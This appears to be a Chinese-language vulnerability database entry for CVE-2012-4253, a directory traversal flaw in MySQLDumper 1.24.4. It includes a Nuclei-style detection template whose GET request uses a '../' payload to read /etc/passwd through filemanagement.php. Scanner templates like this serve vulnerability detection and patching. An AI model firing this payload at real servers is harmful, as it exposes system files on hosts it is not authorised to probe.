CVE-2012-4253: MySQLDumper 1.24.4 - Directory Traversal

日期: 2025-08-01 | 影响软件: MySQLDumper | POC: 已公开

漏洞描述

Multiple directory traversal vulnerabilities in MySQLDumper 1.24.4 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) language parameter to learn/cubemail/install.php or (2) f parameter learn/cubemail/filemanagement.php, or execute arbitrary local files via a .. (dot dot) in the (3) config parameter to learn/cubemail/menu.php.

PoC代码[已公开]

id: CVE-2012-4253

info:
  name: MySQLDumper 1.24.4 - Directory Traversal
  author: daffainfo
  severity: medium
  description: Multiple directory traversal vulnerabilities in MySQLDumper 1.24.4 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) language parameter to learn/cubemail/install.php or (2) f parameter learn/cubemail/filemanagement.php, or execute arbitrary local files via a .. (dot dot) in the (3) config parameter to learn/cubemail/menu.php.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to a patched version of MySQLDumper or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/37129
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4253
    - http://packetstormsecurity.org/files/112304/MySQLDumper-1.24.4-LFI-XSS-CSRF-Code-Execution-Traversal.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/75286
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/75283
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4253
    cwe-id: CWE-22
    epss-score: 0.49704
    epss-percentile: 0.97712
    cpe: cpe:2.3:a:mysqldumper:mysqldumper:1.24.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mysqldumper
    product: mysqldumper
  tags: cve2012,cve,packetstorm,lfi,edb,mysqldumper,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009349e9e00b7c36c3e65295d6ad727abb9d9dc2d08c95492892765aae5fde8e54022007199921e7f42d1098146c0c3cce818b0a1456c6e3f54cab0c6c9c9f720d0bc6:922c64590222798bb761d5b6d8e72950

相关漏洞推荐